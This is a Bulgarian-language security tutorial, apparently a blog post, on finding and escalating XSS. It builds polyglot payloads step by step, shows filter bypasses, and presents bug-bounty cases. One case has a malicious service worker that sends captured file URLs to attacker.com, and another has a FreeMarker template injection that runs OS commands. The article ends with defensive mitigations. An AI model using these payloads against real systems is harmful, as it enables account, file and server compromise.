---
title: 'Ефективно търсене на XSS уязвимости: от alert() до RCE | DevSense'
description: 'Овладейте изкуството за откриване и експлоатация на Cross-Site Scripting (XSS). Научете се как да изграждате универсални пейлоади, да заобикаляте филтри и да ескалирате XSS до RCE с реални казуси от Bug Bounty.'
faq:
    - { question: 'Какво прави един тестов низ универсален (полиглот) XSS пейлоад?', answer: 'Универсалният пейлоад е проектиран да се изпълнява успешно в множество HTML контексти (атрибути, чист текст, скриптове или стилове), като затваря съществуващите тагове/кавички и вгражда активен таг (като iframe) без да счупи синтактичния анализатор на браузъра.' }
    - { question: 'Как Service Worker може да прихване файлове в S3 bucket за XSS атака?', answer: 'Ако приложението сервира потребителски файлове от споделен S3 bucket под същия Origin, нападателят може да качи зловреден Service Worker. Веднъж регистриран, той прихваща всички заявки за файлове в своя scope, позволявайки кражба на временни подписи и извличане на конфиденциални файлове.' }
    - { question: 'Каква е разликата между клиентско инжектиране на шаблони и SSTI?', answer: 'Клиентското инжектиране на шаблони (като AngularJS/VueJS) изпълнява JavaScript в браузъра на жертвата чрез клиентски шаблонизатор. Server-Side Template Injection (SSTI) изпълнява код директно на уеб сървъра в шаблонизатори (като FreeMarker или Twig), което често води до отдалечено изпълнение на команди (RCE).' }
published: '2026-07-09'
---
# Ефективно търсене на XSS уязвимости: от alert() до RCE

Откриването на уязвимости в сигурността често се разглежда като тайно изкуство, запазено само за елитни хакери. Клиентските заплахи обаче, като **Cross-Site Scripting (XSS)**, следват строга логика. Чрез разбиране на начина, по който браузърът анализира HTML, и научаване как да се изграждат универсални пейлоади, всеки разработчик или QA инженер може ефективно да идентифицира XSS грешки.

В това ръководство, базирано на презентации от Heisenbug и реален опит от Bug Bounty, ще изградим стабилна методология за откриване на XSS, ще разгледаме как се конструират разширени пейлоади и ще изследваме реални случаи, в които прости инжекции ескалираха до пълен контрол над сървъра.

---

## Съдържание

* [Какво е XSS и защо възниква уязвимостта](#what-is-xss)
* [Методология за ръчно търсене](#hunting-methodology)
* [Конструиране на универсален пейлоад (от Level 0 до 1337)](#universal-payloads)
* [Заобикаляне на филтри в реалния свят](#bypassing-restrictions)
* [Реални казуси от Bug Bounty](#case-studies)
    * [Заобикаляне на регулярни изрази в biz.mail.ru](#case-mailru)
    * [Атака над S3 bucket чрез Service Worker](#case-s3)
    * [Email HTML инжектиране и FreeMarker RCE](#case-ssti)
* [Начини за защита и минимизиране на рисковете](#mitigations)

---

<a id="what-is-xss"></a>
## Какво е XSS и защо възниква уязвимостта

**Cross-Site Scripting (XSS)** е уязвимост, която позволява на нападателя да изпълнява произволен JavaScript код в браузъра на жертвата в контекста на сигурността (Origin) на целевия уебсайт.

Тя възниква, когато уеб приложението приема данни от потребителя и ги вгражда в генерираната HTML страница без подходящо кодиране или пречистване. Браузърите не могат да направят разлика между оригиналния код на сайта и инжектираните тагове; те просто изпълняват всички скриптове, които срещнат.

XSS се разделя на два основни типа:
* **Stored (Запазен) XSS:** Зловредният код се записва в базата данни (например потребителско име или коментар) и се показва по-късно на други потребители.
* **Reflected (Отразен) XSS:** Скриптът се връща веднага в отговора на сървъра, обикновено чрез параметър в URL или тялото на POST заявка.

---

<a id="hunting-methodology"></a>
## Методология за ръчно търсене

Автоматичните скенери често пропускат логически уязвимости и се сблъскват с филтри за сигурност. Ръчният подход тип черна кутия работи много по-надеждно:

1. **Въведете уникален тестов низ** (например `qweqwe`) във всички полета за въвеждане, URL параметри, хедъри и форми за качване.
2. **Изучете DOM дървото на страницата.** Отворете DevTools (`F12`), потърсете вашия низ (`Ctrl+F`) и вижте колко пъти се е визуализирал на страницата.
3. **Анализирайте контекста на вграждане.** Къде се е вградил низът? В обикновен текст? В стойност на атрибут `value`? Вътре в блок `<script>`?
4. **Проверявайте специалните символи** (`' " < > &`). Превръщат ли се те в безопасни HTML entities (например `&quot;`, `&lt;`, `&gt;`) или се извеждат в суров вид?
5. **Конструирайте и ескалирайте пейлоада** в зависимост от разрешените символи.

---

<a id="universal-payloads"></a>
## Конструиране на универсален пейлоад (от Level 0 до 1337)

За да не се подбира код за всяко поле индивидуално, ловците на бъгове използват **универсални пейлоади**, които едновременно затварят няколко възможни контекста на вмъкване.

### Level 0: Начинаещ
`"<script>alert()</script>"`
Това ще работи само ако разработчикът отпечатва въведеното директно в суров HTML текст:
```html
<p>Добре дошли, Потребител <script>alert()</script>!</p>
```

### Level 1: Излизане от атрибут
Ако данните попадат вътре в атрибут на таг, предишният вариант няма да работи — той ще остане вътре в кавичките:
```html
<input name="search" value="<script>alert()</script>">
```
Трябва да затворим кавичката и самия таг: `">`
Нов пейлоад: `"><script>alert()</script>`
```html
<input name="search" value=""><script>alert()</script>">
```

### Level 2: Излизане от служебни тагове
Ако низът попадне вътре в тагове `<title>`, `<style>`, `<textarea>` или `<script>`, браузърът третира данните като текст или JS код и няма да визуализира HTML тагове.
Трябва първо да ги затворим.
Нов пейлоад: `"></title></script><script>alert()</script>`

Какво става, ако разработчикът е обградил атрибута с единични кавички? Ще добавим `'` в началото:
Нов пейлоад: `'">></title></script><script>alert()</script>`

### Level 3: Използване на iframe
Тагът `<script>` често се блокира от WAF (Web Application Firewall). Вместо него е по-добре да се използва `<iframe>` с събитие `onload`:
Нов пейлоад: `'">></title></script><iframe onload='alert()'>`

Фреймът ще изпълни JavaScript в атрибута `onload` веднага след рендериране, дори без указване на източник `src`.

### Level 1337: Слешове и полиглоти
Разширените филтри могат да изрязват интервали или да търсят затварящи скоби. Можем да ги заобиколим, ако:
* Заменим интервалите със слешове (`/`).
* Позволим на браузъра сам да затвори тага (премахнем `>`).
* Затворим възможни HTML коментари (`-->`).
* Вградим изрази на клиентски шаблонизатори като AngularJS или VueJS (`{{7*7}}`).

Крайният универсален пейлоад:
```html
'"/test/></title/></script/></style/-->{{7*7}}<iframe/onload='alert`1``<!--
```

Ако той се вгради в атрибут, ще се получи:
```html
<input name="search" value=''"/test/></title/></script/></style/-->{{7*7}}<iframe/onload='alert`1``<!--'>
```
Тук успешно се създава нашият собствен атрибут `test`, присъствието на който лесно се открива със скрипт в конзолата:
```javascript
if (document.querySelectorAll('*[test]').length > 0) {
    console.log("XSS е открит чрез инжектиране на атрибут!");
}
```

---

<a id="bypassing-restrictions"></a>
## Заобикаляне на филтри в реалния свят

### 1. Незатворени тагове срещу регулярни изрази
Ако филтърът изтрива всички конструкции от вида `<...>`, можете да изпратите незатворен таг:
```html
<iframe/onload='alert()'
```
Браузърът ще анализира низа, ще срещне края на документа и сам ще добави затварящата скобка, изпълнявайки скрипта.

### 2. Интервали в URL схеми
При проверка на параметри за пренасочване (например `returnUrl`) разработчиците често проверяват дали низът започва с думата `javascript:`.
* **Заобикаляне с интервал:** Добавянето на интервал или табулация преди схемата (`%20javascript:alert()`) заобикаля простата проверка `startsWith`, но браузърът все още счита схемата за валидна и изпълнява кода.
* **URL синтаксис:** Конструкция от вида `javascript://google.com/%0aalert()`. Двойният слеш превръща следващия текст в коментар на JS, а `%0a` (нов ред) го завършва, стартирайки `alert()`.

---

<a id="case-studies"></a>
## Реални казуси от Bug Bounty

<a id="case-mailru"></a>
### Кейс 1: Заобикаляне на регулярни изрази в biz.mail.ru
В един от проектите на Mail.ru при възникване на грешка 500 се пренасочваше към страница за грешка с параметър `from`. Бутонът „Обнови“ водеше към този адрес.
* Опитът за подставяне на `javascript:alert()` се заменяше с `https://`.
* Подставянето на `%20javascript:alert()` (с интервал в началото) заобиколи регулярения израз. В линка се записа зловредният адрес, който се изпълняваше при кликване върху бутона „Обнови“.

<a id="case-s3"></a>
### Кейс 2: Атака над S3 bucket чрез Service Worker
В частна CRM система потребителите качваха документи, които се съхраняваха в облачно пространство Amazon S3.
При опит за отваряне на файл сървърът генерираше временен подпис и пренасочваше към домена на S3.
* Всички потребителски файлове се съхраняваха на един и същ поддомен на S3.
* Нападателят качи HTML файл с XSS пейлоад. При неговото отваряне в браузъра се изпълняваше JS.
* За да открадне файлове на други потребители, хакерът качи в bucket-а зловреден `serviceworker.js`:
```javascript
// serviceworker.js
self.addEventListener('fetch', function(event) {
    event.respondWith(
        new Response("<iframe src='https://attacker.com/log?url=" + encodeURIComponent(event.request.url) + "'></iframe>", {
            headers: { 'Content-Type': 'text/html' }
        })
    );
});
```
* На жертвата се изпращаше линк към файла `exploit.html`, който регистрираше Service Worker за целия корен на S3 bucket-а.
* Сега, когато жертвата се опитваше да отвори всеки друг таен документ в CRM, Service Worker прихващаше заявката и изпращаше временния подписан линк към сървъра на нападателя.

<a id="case-ssti"></a>
### Кейс 3: Email HTML инжектиране и FreeMarker RCE
Маркетингова платформа позволяваше персонализиране на HTML шаблони за имейли.
* Хакерът внедри изразите `${7*7}` и `{{7*7}}` в шаблона на имейла.
* При предварителен преглед на имейла сървърът изчисли израза и изведе `49`, което показа уязвимост **SSTI (Server-Side Template Injection)**.
* Шаблонизаторът се оказа Java-базираният **FreeMarker**. Използвайки неговите вградени методи за изпълнение на команди, инжекцията беше ескалирана до изпълнение на код на сървъра (**RCE**):
```html
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}
```
Командата `id` се изпълни в операционната система на сървъра и резултатът (права root) се визуализира директно в прозореца за предварителен преглед на имейла.

---

<a id="mitigations"></a>
## Начини за защита и минимизиране на рисковете

1. **Никога не се доверявайте на потребителския вход:** Всички параметри, хедъри и имена на файлове трябва да се валидират.
2. **Контекстно кодиране на изхода:** Прилагайте ескейпване на специалните символи в зависимост от мястото на извеждане:
    * В тялото на HTML: използвайте `htmlspecialchars()`.
    * В контекста на JS: кодирайте чрез `json_encode()`.
    * В линкове: разрешавайте само протоколи `http`/`https`.
3. **Внедрявайте Content Security Policy (CSP):** Строгите хедъри на CSP забраняват изпълнението на инлайн скриптове и ограничават източниците на зареждане на ресурси.
4. **Изолирайте потребителските файлове:** Съхранявайте каченото съдържание на напълно отделен домен (например `my-app-files.com`), където няма сесийни бисквитки и достъп до основното API.
5. **Настройвайте шаблонизаторите безопасно:** Изключвайте достъпа до системни API и изолираната среда (sandbox) при рендериране на потребителски шаблони във FreeMarker, Twig или Blade.